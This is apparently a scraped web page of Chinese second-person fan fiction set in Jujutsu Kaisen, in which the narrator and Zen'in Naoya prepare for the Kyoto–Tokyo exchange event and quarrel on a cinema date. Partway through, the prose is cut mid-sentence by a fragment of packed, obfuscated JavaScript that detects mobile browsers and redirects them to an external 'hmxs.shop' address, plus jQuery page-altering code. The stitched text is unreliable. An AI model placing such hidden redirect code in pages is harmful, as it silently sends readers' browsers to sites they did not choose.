直哉握着你的手坐在床边,冷静下来的他已经在心中推演了真相:这该死的一周,始作俑者就躺在床上! 你看他,他看你,你们谁都没有说话。 虽然父子关系普通,但是直哉的父亲禅院直毘人还是和你外公一起进了门,这俩一个关心直哉,一个关心你,你们都有自己的老头。 直哉冷淡接受了父亲的关怀后目送他离开,又别扭和你外公致歉。 有禅院庶子和他的母亲进门“关心慰问嫡子”,被他骂得狗血淋头赶了出去。 看着直哉怒气冲冲的身影,你的意识开始模糊,咒力消耗太大了,你需要休息。 …… 事到如今,完全掌握了环境结界构造术的你已经确定了自己就是犯人,但是你不太确定直哉到底知道了多少。 也许是知道了,但是他不提,你就当他不知道! 毕竟那时候你是控制不好咒力嘛……也不是故意的,而且也让他锻炼了一下独自生活且带娃的能力,大概是有好处的吧?未来直哉成为了父亲,也许还要感谢你给他提供的培训机会呢。 你知道“不知道”是直哉对你的保护,如果六岁的你就被发现拥有这样的构造能力,那么即使是你外公也没办法护住你,你会像一件咒具一样被高层牢牢掌握,就好像东京校的家入医生几乎没有离开过工作岗位。 你带着回忆看向身边已经是巨大一只(对你而言)的直哉,非常真挚地肯定了他:直哉其实还不错,毕竟他十二年前就知道要保护你了。 19.第 19 章 两周后就要开始京都、东京两所咒术高专的姐妹校交流会,你们作为参赛选手自然要加强训练,学校取消了一些普通课程,把时间加到了体术课和实战课上,同时还安排了一些晚训。 按规定一年级的新生不用参加,所以刚入学没多久的一年级新田新可以自由活动。因为他不是输出型的强攻手,所以他不参加对你们没有太大的影响。 因东京校的两位三年级学生和总监部摩擦且已经被停学,东京一年级的伏黑惠和钉崎野蔷薇补位参赛。 此外,东京二年级的特级咒术师乙骨忧太正在国外任务。去年他一个人干掉了你们所有人,也导致了今年主场轮到了胜者东京。你记得遭遇乙骨忧太和他的“里香”时,你当场放弃抵抗,直接投降。 对你如此这般没有出息,同学们也是见怪不怪,虽说不能对你一个辅助提什么要求,但你的岩浆结界其实算aoe(群体攻击),有着这样的能力还秒投确实有些丢人,不过只要你本人不在意就没事,同学说的话,在你耳里,风声罢了。 你可理直气壮了:乙骨忧太,那可是特级咒术师,我还是个学生呢,连一级都还没够上。再说了,只是一个学生之间的交流会罢了… 今年对面缺席特级咒术师乙骨和三年级的秤金次、星绮罗罗,又有两名参赛者是一年级,东京校简直是劣势满满。体术课上,你的同学之间弥漫着一种‘我们会赢’的积极自信。对此你冷静许多,不是你唱衰自己人,而是……东京一年级的伏黑惠是禅院家十种影法术的继承人啊!在历史上十影都杀死过六眼,这明明也是特级储备好吗?怎么大家都把他当透明人了? 虽然你们也有加茂家的赤血操术啦,这般想着,你看向加茂宪纪。 但是,十影的老师可是五条悟呢,肯定教了他很多秘传吧?你又看向歌姬老师,虽然你很喜欢她,但是也得客观承认师资力量确实天差地别。 你思考着战力,突然想到了一个很重要的问题:等一下!等一下!京都多两个人啊! 你开始掰着手指数起来。 东京校:狗卷棘、禅院真希、熊猫、钉崎野蔷薇、伏黑惠,一共五人。 京都校:加茂宪纪、东堂葵、西宫桃、机械丸、三轮霞、禅院真依,加你七人! 五比七,五个里面还有两个一年级呢……这不公平吧? 你倒不是真的想追求公平公正,你期待成为替补,这样根本不用出场了!于是你一脸暗示地看向歌姬老师。 “怎么了,浅川?”歌姬注意到了你的眼神,于是她很是温柔地看向了你。 “歌姬老师……那个,我们是不是多两个人啊?”你眨巴着眼抬头看她,几乎就要明示,“多两个人好像有点欺负人哦?东京可是有两个一年级呢……” “按照规定任何一方多一人都是允许的,两人……”庵歌姬似乎之前也没考虑到这个问题,她掰着手指算了半天,发现你们居然真的多了两个人! 这下轮到她为难了。 庵歌姬是一个非常负责的好老师,如果让你们七人中的任何一人替补,她都会觉得辜负了孩子们的青春! “没关系的浅川,你放心吧!老师会想办法。”她如此这般说着就拿起电话走开,边走边打,很急着解决问题的样子。 你本想告诉歌姬老师你可以主动替补,但是歌姬老师她身高腿长,走的实在是有些快,你根本来不及把话说出口,她人已经走出老远了。 …… 虽然理论上这件事需要询问东京的夜蛾校长,但是因为五条悟隐隐约约在主导这场交流会,所以她直接打给了他。 “五条,你听着!因为你们三年级的两名学生休学,导致这次交流会我们多了两人,你看着办。”她先把责任推给东京,然后一脸严阵以待,等待五条悟的反击。 “哦?没关系哦。差一个是可以开始比赛的吧?”五条悟的声音非常轻快,并不把歌姬重视的事情当作什么了不起的大事。 “七和五差距是二吧?你不至于数学那么差吧,五条。”歌姬有些不高兴,感觉对方压根没有认真听自己讲话,在敷衍了事。 “没关系啦,歌姬,你就带着队伍来就行了,其他的事情交给GTG吧。”五条悟继续轻松应对。 歌姬握着电话,额头青筋直冒:怎么感觉好像只有她很在意,对面的态度真让人不爽!可是他好像能解决问题…… “GTG是什么。”她不满。 “GREAT TEAHCER GOJO。”五条悟自信回答,“歌姬你太弱啦,连英文的拼写都忘记……” “嘟嘟嘟。”歌姬直接挂了电话。 虽然通话过程不太愉快,但是五条悟确实解决了问题,既然如此歌姬也不去深思,决定到时候把大家都先带去,实在得替补一人就抽签决定吧,公平公正! 歌姬老师完全没有意识到你想替补。 …… 你在原地等了一会儿,歌姬老师回来笑着告诉你事情解决了,大家一起去吧!你不想打击她的积极性,也只能扯起勉强的笑,说太好了。 你的同学大部分斗志昂扬:宪纪想要证明他有能力继承加茂家,三轮想要出色表现换取未来更多工作机会,东堂想要挑战强者,真依本来就劲劲的。除了这些很想赢的同学,你不太了解机械丸在想什么,西宫桃好像没有什么特别要追求的,但是你知道她很讲义气,会尽全力帮助好姐妹真依取得胜利。 在训练中你继续保守使用那三个同学们见过的结界:遇到躲藏的咒灵你展开训练室,遇到批量的咒灵展开岩浆,当敌人是单体且机动性极强的时候,你展开地震稍微延缓一下对方的行动,给你的队友们制造机会。 你的结界几乎瞬发,大小也还可以,所以在大家眼里你还算比较强。只是你的性格有些懒散消极,考虑到你正在和禅院直哉‘热恋中’,大家又表示了然:这算是早恋耽误学习的典型,虽然你的年龄在日本都可以结婚了。 在临去东京前的那一晚,你完成了晚上的加练,收拾了一下小书包,快速和同学们告别,然后第一个飞奔出了训练场。见到校门口那辆熟悉的直哉的专车,你欢快地小跑过去。 晚上你和直哉要去看电影,新出的《疯狂兔子城》,一部全年龄向的动画片,并没有特别有趣,重点是你们一起看,算是约会。 电影院昏暗封闭,其实是很容易滋生咒灵的地方,也非常方便诅咒师安排埋伏。直哉倾向于包场更安全,你拒绝,你想要的是看电影的氛围感,如果只有你俩,那在直哉院子里的影音室里看也是一样的,没必要特意出来。 禅院封建落后,屋子矮小昏暗,电器稀少,只有直哉这个被惯着的嫡子居住的院落里才有齐备的电子设施,为了你留宿时不那么无聊,从游戏机到家庭影院,他都配置了最新的。 你开开心心上车,直接扑到直哉身上亲了他几口,刚下课的心情就是那么好的。 他接住你,嘴上警告你别把他的衬衫弄皱,手却紧紧箍着你的腰,固定着你以防你摔倒。 “直哉,好想你呀,你想我吗?”你凑在他的耳边轻轻吹气,“训练好无聊……” “你这是什么白痴问题。不想你,我干嘛过来?你当我真想看那个兔子城吗?”他在你的脸颊上啄了几口,顺便嫌弃道,“京都校的水平本来就很差,还一天到晚拖着你无效加练,我就说你应该去禅院私塾……” “直哉,你不想看兔子城吗?我以为你也想看。”你当然知道他不想看,嘴上却要说反话,“你不爱看,我们就回去吧,那我也不看了。” 香喷喷的漂亮女朋友在怀,直哉本来就被你哄得有些晕乎,这时候他的原则和傲气无限减少,趋近于无:“是我想看,行了吧?” “那我陪你去。”你又捧着他的脸吧唧吧唧亲了几口,得寸进尺,“直哉,我是不是对你很好呀?” “哼。”直哉觉得你很幼稚,总是要逞这些口舌之快,但是他转念一想,这样撒娇总比凶巴巴要好,你虽然爱使性子,但是总算是知道怎么做一个讨男人(他)喜欢的女人,不算太差! 于是他亲你的头发,含糊嗯了一声。 来到电影院,虽然直哉嘴上抱怨“庶民的杂乱”,但其实你俩已经来过无数次,他很是熟练地去取票买爆米花。至于车上的管家?直哉都没让他下商务车。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056394|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟这是约会,直哉觉得他也不是不能‘服务’你,对他来说你是最特殊的存在,给你干活是“夫妻”间的情趣,做这些小事并不影响他依然是尊贵的禅院大少爷。 你俩都有着非常漂亮的皮囊,特别是白肤浅瞳浅发的你闪亮得像个白精灵一般,路人纷纷对你投来好奇或艳羡的目光,直哉不喜他们随便打量你,于是拉着你迅速进入了放映厅。 你们到的早,厅内稀稀拉拉只有几个人。 你拿了一颗爆米花尝了尝,不够甜,还有一点焦,于是你很贤惠地开始喂直哉。 直哉说他不吃这种幼稚的东西,然后用嘴接了吃下,这也是你俩的定番:一个说不吃,一个继续喂,反正你不想吃的最后都是直哉吃了。这样的游戏你们百玩不腻,乐此不疲。 “对了,你听说了吗?最近东京出现了新的特级咒灵。”直哉咽下你给他塞的爆米花,也许是因为你要前往东京,又也许是单纯的触景生情,“也是在电影院,三个高中生被变成怪物后死亡,这个情报的保密级别很高,你应该还不知道吧?” “五条老师没有把它祓除吗?怪物?好可怕哦。”你说着可怕,表情却没有什么变化,看来不是真心害怕。 “悟君也很忙吧,你明天去东京要…喂,你干嘛老提他……”直哉觉得不提醒你注意安全也没问题,反正他已经决定了也去。另外,因为你主动提起五条悟,他感觉到了不爽。 “不提不提。”你敷衍道。 直哉看你敷衍的样子,心中不知为何突然闪现一个念头,他踟蹰了几秒还是故作轻松地问了:“阿离,如果我变成了怪物,你是不是肯定立刻、马上跟我分手,跑得远远的,或者是去找五条悟来祓除我?” 这个问题带着试探和恐惧,但是也带着强烈的请求,他想听你否定,想听你说点有温度和女友自觉的话,即使是哄骗也行。 你闻言愣了一下,然后就意识到你的直哉想找茬。 你可以安抚他,但是你不想那样做。 “干嘛又来道德绑架我,如果是你呢?”你冷哼一声,“禅院直哉!在你眼里我就是坏人!所以你才一天到晚问这种问题!你扪心自问,如果我不漂亮,你会搭理我吗?” “哈?我什么时候说你是坏人?你直接回答会死吗,一定要吵架吗?”直哉没想到你反应如此之大,他只是想听你哄哄他,只要一句‘不会’就行,或者是‘不知道’也还行。他想要的是你说点漂亮话,而不是在电影院吵架! “你那样问我,不就是先预设了我很坏吗?”你想用爆米花砸他,又觉得这样对保洁很不友好,于是你抓起书包就站了起来,“不看了,没心情了!” 你风风火火走出放映厅,直哉本来就没兴趣看兔子城,他立刻跟着你跑了出来。 “别跟着我!我反正就是坏啦!”你真的很想拿点什么砸他,于是你提前取出了钱包(明天出门要用),然后把空空的书包砸到了直哉的脸上。 “浅川离!你发什么疯?!”直哉接住你的书包,愣愣抱着它,一脸懵,他开始疯狂回忆事情到底是怎么变成这样的,他在脑海里迅速推算了一下日子,然后好像找到了答案,“你……你……你黄体期吗?!” “要你管!有病吗!现在是说这个的时候吗?”虽然确实快来月经,但是这并不代表你的情绪紊乱,你生气是有理有据的。 先不说这个问题的结论,首先直哉笃定你薄情寡义这件事本身就让你气恼,现在他又在怀疑你是生理性情绪不稳定,你更生气了!吵架的时候他不追求客观,而是先说你情绪化?过分! “不许跟着我!不许动!原地待着!”你摆出自己最凶狠的表情,指着他下达命令。然后头也不回地吧嗒吧嗒跑出了电影院。 路人纷纷注目、窃窃私语,直哉抱着你的包,想追又不敢。 因为…你好像是真的生气了……他……居然不敢违抗发怒的你,身体诚实地执行了“原地待着”这个命令。 这样的发展让直哉如遭雷劈,他禅院直哉,为什么要听一个女人的话,站在原地不敢动啊?!!虽然那个女人是对他来说特殊的你,但是这该死的也太离谱了!